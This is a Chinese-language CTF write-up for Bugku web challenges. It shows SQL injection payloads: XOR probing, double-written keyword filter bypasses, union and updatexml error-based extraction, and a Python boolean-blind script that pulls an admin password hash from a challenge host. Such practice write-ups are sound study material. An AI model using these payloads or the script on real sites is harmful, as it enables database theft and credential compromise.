bugku web2

多次

 

访问页面

看起来是sql注入,加个'试试

页面报错,看来是注入点, id=1' and '1'='1# 结果发现页面还是Error,猜测是有什么过滤了,这时我们使用一种新办法,异或注入

异或注入原理  1^1=0 0^0=0 1^0=1 

所以我们构造语句id=1'^(length('and')!=0)#   当and被过滤,length('and')=0,那么语句就相当于id='1^0#,此时就会返回正确的页面,我们就可以判断出被什么被过滤了

测试后发现and  or   union  select都被过滤为空字符串''   所以我们可以使用双写来绕过

用order by 测不出列数,应该是页面不回显order by的错误, 尝试一下union select发现只有两列的时候返回正确的页面

表   id=' uniounionn selecselectt 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()%23

列    id=' uniounionn selecselectt 1,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'%23

字段    

id=' uniounionn selecselectt 1,flag1 from flag1%23

这也不是flag啊,回去看题目说有两个flag,我们去address表看一下

出现了下一关,我们访问

又是sql注入,继续尝试,发现当使用'后有报错信息

那么应该是可以使用xpath报错注入的,并且发现没有过滤and or之类的,那么问题就简单了

表    id=' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)),1)%23

列    id=' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag2'),0x7e)),1)%23

字段    id=' or updatexml(1,(concat(0x7e,(select flag2 from flag2),0x7e)),1)%23

flag{Bugku-sql_6s-2i-4t-bug}

提交后不对??? 上网看结果答案是flag{bugku-sql_6s-2i-4t-bug}....

 

 

login3(SKCTF)

访问页面

 登录页面,而且题目提示我们使用sql布尔盲注,开始尝试

当用户名存在密码不对的时候返回这个

当用户名不存在时

那么用户名就是注入点,结果发现有些关键词被BAN了...  提示illegal charater

测试后and 空格 union  for  逗号 都被过滤了

异或注入,()替代空格,对于逗号来说 mid(str,1,1) 我们可以使用mid(str from 1 for 1) 但是for也被过滤了,上网查看大佬说使用ascii()

ascii()函数返回一段字符串中第一位字符的ascii值,所以我们使用mid(str from 1)就可以

跑脚本

#!/usr/bin/env python
# coding=utf-8

import requests

url = 'http://123.206.31.85:49167/index.php'
s = requests.Session()
strn="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/="

# def database():
#     result = ''
#     for i in range(30):
#         for j in str_all:
#             payload = "'^(ascii(mid(database()from({})))<>{})#".format(str(i),ord(j))
#             data = {
#             'username' : payload,
#             'password' : "123"
#             }
#             r = s.post(url,data=data)
#             if 'error' in r.text:
#                 result +=j
#                 print result

def password():
    result = ''
    for i in range(33):
        for j in strn:
            payload = "'^(ascii(mid((select(password)from(admin))from({})))<>{})#".format(str(i),ord(j))
            data = {
            'username' : payload,
            'password' : "123"
            }
            r = s.post(url,data=data)
            if 'error' in r.text:
                result +=j
                print result

#database()
password()

 

因为for被BAN了 所以无法使用information_schema表,只能猜测

select password from admin

跑出来的密码为51b7a76d51e70b419f60d3473fb6f900,md5解密后填入,得到flag

 

posted @ 2019-04-13 13:27  sharp_ff  阅读(536)  评论(0编辑  收藏  举报